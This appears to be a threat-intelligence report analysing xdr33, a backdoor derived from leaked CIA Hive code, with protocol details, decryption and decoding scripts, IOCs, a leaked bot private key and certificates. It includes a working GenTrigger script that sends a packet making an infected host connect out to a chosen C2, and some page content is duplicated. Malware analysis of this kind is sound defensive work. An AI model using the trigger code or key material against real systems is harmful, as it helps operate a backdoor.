AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----

</code></pre>
<h1 id="%E9%99%84%E5%BD%95">附录</h1>
<h2 id="0x1-decoderes">0x1 Decode_RES</h2>
<pre><code>import idautils
import ida_bytes

def decode(addr,len):
    tmp=bytearray()
    
    buf=ida_bytes.get_bytes(addr,len)
    for i in buf:
        tmp.append(~i&amp;0xff)

    print(&quot;%x, %s&quot; %(addr,bytes(tmp)))
    ida_bytes.put_bytes(addr,bytes(tmp))
    idc.create_strlit(addr,addr+len)
    
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
    prev1Head=idc.prev_head(addr)
    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
        bufaddr=idc.get_operand_value(prev1Head,0)
        prev2Head=idc.prev_head(prev1Head)
        
        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
            leng=idc.get_operand_value(prev2Head,0)
            decode(bufaddr,leng)

</code></pre>
<h2 id="0x02-gentrigger">0x02 GenTrigger</h2>
<pre><code>import random
import socket


def crc16(data: bytearray, offset, length):
  if data is None or offset &lt; 0 or offset &gt; len(data) - 1 and offset + length &gt; len(data):
    return 0
  crc = 0xFFFF
  for i in range(0, length):
    crc ^= data[offset + i] &lt;&lt; 8
    for j in range(0, 8):
      if (crc &amp; 0x8000) &gt; 0:
        crc = (crc &lt;&lt; 1) ^ 0x1021
      else:
        crc = crc &lt;&lt; 1
  return crc &amp; 0xFFFF

def Gen_payload(ip:str,port:int):
    out=bytearray()
    part1=random.randbytes(92)
    sum=crc16(part1,8,84)
  
    offset1=sum % 0xc8
    offset2=sum % 0x37
    padding1=random.randbytes(offset1)
    padding2=random.randbytes(8)
    
    
    host=socket.inet_aton(ip)
    C2=bytearray(b'\x01')
    C2+=host
    C2+=int.to_bytes(port,2,byteorder=&quot;big&quot;)
    key=b'NetlabPatched,Enjoy!'
    C2 = C2+key +b'\x00\x00'
    c2sum=crc16(C2,0,29)
    C2=C2[:-2]
    C2+=(int.to_bytes(c2sum,2,byteorder=&quot;big&quot;))

    flag=0x7f*10
    out+=part1
    out+=padding1
    out+=(int.to_bytes(sum,2,byteorder=&quot;big&quot;))
    out+=(int.to_bytes(flag,2,byteorder=&quot;big&quot;))
    out+=padding2

    tmp=bytearray()
    for i in range(29):
      tmp.append(C2[i] ^ out[offset2+8+i])
    out+=tmp

    leng=472-len(out)
    lengpadding=random.randbytes(random.randint(0,leng+1))
    out+=lengpadding

    return out
    
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,(&quot;192.168.159.133&quot;,2345))  # 任意端口

</code></pre>
<!--kg-card-end: markdown-->
Overview


On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file ee07a74d12c0bb3594965b51d0e45b6f, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP 45.9.150.144 using SSL with forged Kaspersky certificates, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. This is the first time we caught a variant of the CIA HIVE attack kit in the wild, and we named it xdr33 based on its embedded Bot-side certificate CN=xdr33.


To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.


The functional schematic is shown below.





Hive uses the BEACON_HEADER_VERSION macro to define the specified version, which has a value of 29 on the Master branch of the source code and a value of 34 in xdr33, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:


 * New CC instructions have been added
 * Wrapping or expanding functions
 * Structs have been reordered and extended
 * Trigger message format
 * Addition of CC operations to the Beacon task


These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.



Vulnerability Delivery Payload


The md5 of the Payload we captured is ad40060753bc3a1d6f380a5054c1403a, and its contents are shown below.





The code is simple and straightforward, and its main purpose is to


 * 
   
   
   Download the next stage of the sample and disguise it as /command/bin/hlogd.
   

 * 
   
   
   Install logd service for persistence.
   



Sample analysis


We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.


MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None



Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.





The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.



Decrypting configuration information


xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.





In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.





The decryption results are shown below, including Beacon C2 45.9.150.144, runtime prompt messages, commands to view device information, etc.






Beacon Task


The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.



0x01: Information Collection


 * 
   
   
   MAC
   
   
   Query MAC by SIOCGIFCON or SIOCGIFHWADDR
   
   
   
   

 * 
   
   
   SystemUpTime
   
   
   Collects system up time via /proc/uptime
   
   
   
   

 * 
   
   
   Process and network-related information
   
   
   Collect process, NIC, network connection, and routing information by executing the following 4 commands
   
   
   
   



0x02: Information processing


Xdr33 combines different device information through the update_msg function





In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and "3, 4, 5, 6" in the above figure represents different Header Type.


typedef struct __attribute__ ((packed)) add_header {
	unsigned short type;
	unsigned short length;
} ADD_HDR;




What does "3, 4, 5, 6" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing Sha1[:32] of MAC, and PID of xdr33 respectively





Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.




It is worth mentioning that type=0, Sha1[:32] of MAC, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.


mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43

sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640



When all the device information is combined, use bzip to compress it and add 2 bytes of beacon_header_version and 2 bytes of OS information in the header.





0x03: Network Communication


The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.


 * Two-way SSL authentication
 * Obtain XTEA key
 * Report XTEA encrypted device information to C2
 * Execute the commands sent by C2



Step1: Two-way SSL Authentication


Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.




The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.




The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.




The Bot certificate can be viewed using openssl x509 -in Cert -inform DER -noout -text, where CN=xdr33, which is where the family name comes from.




You can use openssl s_client -connect 45.9.150.144:443 to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.





The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.





Step2: Obtain XTEA key


After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.




The processing logic is.


 1. 
    
    
    Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5) + device information length string (xor 5) + random data".
    

 2. 
    
    
    Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.
    
    
    XOR_KEY=5
    def get_key(rand_bytes):
    	offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
    	return  rand_bytes[(offset+1):(offset+17)]
    
    



Step3: Report XTEA encrypted device information to C2


Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.




It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.



Step4: Waiting for execution command (new function added by xdr33)


After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.




The supported instructions are shown in the following table.





Index
Function




0x01
Download File


0x02
Execute CMD with fake name "[kworker/3:1-events]"


0x03
Update


0x04
Upload File


0x05
Delete


0x08
Launch Shell


0x09
Socket5 Proxy


0x0b
Update BEACONINFO






Network Traffic Example



The actual step2 traffic generated by xdr33






The interaction in step3, and the traffic from step4






What information can we get from this?？


 1. 
    
    
    The length of the device information length string, 0x1 ^ 0x5 = 0x4
    

 2. 
    
    
    The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720
    

 3. 
    
    
    tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
    

 4. 
    
    
    C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point
    

 5. 
    
    
    The number of tasks in this cycle is 00 00 00 00 00 00 00, i.e. there is no task, so no specific task of 264 bytes will be issued.
    


The encrypted device information can be decrypted by the following code, and the decrypted data is 00 22 00 14 42 5A 68 39, which contains the beacon_header_version + os + bzip magic, and the previous analysis can correspond to one by one.


import hexdump
import struct

def xtea_decrypt(key,block,n=32,endian="!"):
    v0,v1 = struct.unpack(endian+"2L", block)
    k = struct.unpack(endian+"4L",key)
    delta,mask = 0x9e3779b9,0xffffffff
    sum = (delta * n) & mask
    for round in range(n):
        v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
        sum = (sum - delta) & mask
        v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
    return struct.pack(endian+"2L",v0,v1)

def decrypt_data(key,data):
    size = len(data)
    i = 0
    ptext = b''
    while i < size:
        if size - i >= 8:
            ptext += xtea_decrypt(key,data[i:i+8])
        i += 8
    return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")

hexdump.hexdump(decrypt_data(key,enc_buf))




Trigger Task


The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.



0x1: Listening for traffic


Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.






0x2: Checksum Trigger packets


TCP and UDP messages that meet the length requirement are further verified using the same check_payload function.





check_payload的代码如下所示:




The processing logic can be seen as follows.


 * Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue
 * The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset
 * Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step
 * Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step
 * Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod


So far it can be determined that the Trigger message format is as follows






0x3: Checksum Trigger Payload


If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload





The processing logic can be seen as follows


 * Take the last 2 bytes of the Trigger Payload and write it as crcRaw
 * Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc
 * Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.


Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 46a3c308401e03d3195c753caa14ef34a3806593 in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.


The format of the Trigger Payload can be determined as follows.






0x4: Execution of Trigger C2's command


After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.





The supported instructions are shown in the following table.





Index
Function




0x00,0x00a
Exit


0x01
Download File


0x02
Execute CMD


0x04
Upload File


0x05
Delete


0x06
Shutdown


0x08
Launch SHELL


0x09
SOCKET5 PROXY


0x0b
Update BEACONINFO





It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.





Experiment


To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of NetlabPatched,Enjoy! and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.





We run the Patch in the virtual machine 192.168.159.133 after the xdr33 sample, the construction of C2 for 192.168.159.128:6666 Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!






Contact us


Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.



IOC



sample


ee07a74d12c0bb3594965b51d0e45b6f

patched sample

af5d2dfcafbb23666129600f982ecb87




C2


45.9.150.144:443




BOT Private Key


-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----





BOT Certificate


-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----





CA Certificate


-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----





附录



0x1 Decode_RES


import idautils
import ida_bytes

def decode(addr,len):
    tmp=bytearray()
    
    buf=ida_bytes.get_bytes(addr,len)
    for i in buf:
        tmp.append(~i&0xff)

    print("%x, %s" %(addr,bytes(tmp)))
    ida_bytes.put_bytes(addr,bytes(tmp))
    idc.create_strlit(addr,addr+len)
    
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
    prev1Head=idc.prev_head(addr)
    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
        bufaddr=idc.get_operand_value(prev1Head,0)
        prev2Head=idc.prev_head(prev1Head)
        
        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
            leng=idc.get_operand_value(prev2Head,0)
            decode(bufaddr,leng)





0x02 GenTrigger


import random
import socket


def crc16(data: bytearray, offset, length):
  if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
    return 0
  crc = 0xFFFF
  for i in range(0, length):
    crc ^= data[offset + i] << 8
    for j in range(0, 8):
      if (crc & 0x8000) > 0:
        crc = (crc << 1) ^ 0x1021
      else:
        crc = crc << 1
  return crc & 0xFFFF

def Gen_payload(ip:str,port:int):
    out=bytearray()
    part1=random.randbytes(92)
    sum=crc16(part1,8,84)
  
    offset1=sum % 0xc8
    offset2=sum % 0x37
    padding1=random.randbytes(offset1)
    padding2=random.randbytes(8)
    
    
    host=socket.inet_aton(ip)
    C2=bytearray(b'\x01')
    C2+=host
    C2+=int.to_bytes(port,2,byteorder="big")
    key=b'NetlabPatched,Enjoy!'
    C2 = C2+key +b'\x00\x00'
    c2sum=crc16(C2,0,29)
    C2=C2[:-2]
    C2+=(int.to_bytes(c2sum,2,byteorder="big"))

    flag=0x7f*10
    out+=part1
    out+=padding1
    out+=(int.to_bytes(sum,2,byteorder="big"))
    out+=(int.to_bytes(flag,2,byteorder="big"))
    out+=padding2

    tmp=bytearray()
    for i in range(29):
      tmp.append(C2[i] ^ out[offset2+8+i])
    out+=tmp

    leng=472-len(out)
    lengpadding=random.randbytes(random.randint(0,leng+1))
    out+=lengpadding

    return out
    
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345))  # 任意端口



{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\nOn Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file `ee07a74d12c0bb3594965b51d0e45b6f`, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP `45.9.150.144` using SSL with **forged Kaspersky certificates**, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. **This is the first time we caught a variant of the CIA HIVE attack kit in the wild**, and we named it `xdr33` based on its embedded Bot-side certificate `CN=xdr33`.\n\nTo summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: 